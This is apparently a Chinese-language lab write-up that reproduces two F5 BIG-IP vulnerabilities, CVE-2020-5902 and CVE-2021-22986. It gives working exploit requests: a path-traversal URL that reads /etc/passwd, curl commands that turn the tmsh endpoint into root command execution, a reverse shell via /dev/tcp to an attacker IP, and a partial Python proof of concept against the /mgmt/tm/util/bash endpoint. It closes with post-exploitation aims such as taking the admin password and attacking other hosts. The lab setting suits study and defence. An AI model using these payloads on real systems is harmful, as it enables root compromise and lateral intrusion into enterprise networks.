引言
F5 BIG-IP 广泛应用于大型企业,数据中心、云计算平台中,可以实现应用加速、负载均衡、SLL过载、web应用防火墙等功能。这篇文章主要是复现F5的漏洞,包括其被远程代码执行的过程, 以及探究以下我们可以在F5上远程执行代码之后可以做哪些事情。
环境搭建
F5的环境搭建教程在网上可以查到很多,这里大概介绍以下流程与心得。
- 首先搭建环境需要使用vmware软件运行F5的镜像来实现,需要下载并安装相关文件,这里使用的是家用个人电脑。
- 亲测过在F5网站上注册好后,下载含有漏洞的F5镜像失败的,于是在其他网站上找的镜像,F5版本为
BIGIP-15.0.0
, 并且该版本中包含了[CVE-2020-5902]
与[CVE_2021_22986]
这两个漏洞。 - 仅对于漏洞利用来讲, F5账号的注册以及申请试用证书这个步骤不是必须的。只要获取的漏洞版本的镜像即可。
- F5的后台其实是一个linux操作系统,可以执行shell命令。
漏洞 [CVE-2020-5902]
漏洞的原因分析:
漏洞原因是F5 BIG-IP设备前端采用Apache来接收用户请求,后端可同时处理php和java请求,使用AJP协议处理java应用,通过AJP协议将Apache接收到的数据封装并交给Tomcat。查看具体的配置文件/etc/httpd/conf.d/proxy_ajp.conf。
# /etc/httpd/conf.d/proxy_ajp.conf
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
Apache在处理 /tmui/login.jsp/…;/tmui/locallb/workspace/fileRead.jsp ,会认为处理的是 /tmui/login.jsp 文件,但是 .*.jsp 会进行最大限度的匹配,所以就会将完整的/tmui/login.jsp/…;/tmui/locallb/workspace/fileRead.jsp 转给 Tomcat 处理。关于Apache 对访问权限校验的处理,得去看 /etc/httpd/modules/mod_auth_pam.so ,Tomcat 在处理 /tmui/login.jsp/…;/tmui/locallb/workspace/fileRead.jsp 的时候,会先去除 ; / 之间的字符。
漏洞验证:
我使用的ip 是192.168.31.211
一共有两种交互方式, 在网页中输入url的方式和输入curl命令的方式。
# 在网页中输入url
https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
漏洞利用:
利用过程中有如下要点,先提出来:
- 利用该漏洞可以以
root
权限在F5环境中执行命令 - 通过调用crul命令可以对文件进行读写操作
- bash命令必须要用alias创建别名,否则会命令执行失败
- 将运行脚本写入F5中的文件, 并运行该脚本,理论上可以执行任意shell命令
- 使用
反弹shell
来获取F5的shell
## 创建或者修改别名(create后要使用modify)
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+cli+alias+private+list+command+bash"
## 命令写入脚本并执行脚本
curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/test&content=ls /tmp" "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test"
执行了 ls /tmp的命令
下面进行反弹shell的实验
curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/test&content=bash -i > /dev/tcp/192.168.31.56/7856 0>%261 2>%261" "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
curl -k "https://192.168.31.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test"
要点: &符号在url 中需要转换为%26
获取到shell之后可以做哪些事情呢?
如何进一步扩大攻击范围?
- 问题,能否隐藏,或者反弹shell能否记录history
- 获取admin密码
- 攻击其他ip
漏洞 [CVE_2021_22986]
构造请求数据包,执行任意命令
方法一:
python请求
def POC_1(target_url):
vuln_url = target_url + "/mgmt/tm/util/bash"
headers = {
"Authorization": "Basic YWRtaW46QVNhc1M=",
"X-F5-Auth-Token": "",
"Content-Type": "application/json"
}
data = '{"command":"run","utilCmdArgs":"-c id"}'
方法二:
postman构造请求:
方法三:
curl命令请求:(该方法请求没有验证通过)
下面进行反弹shell的实验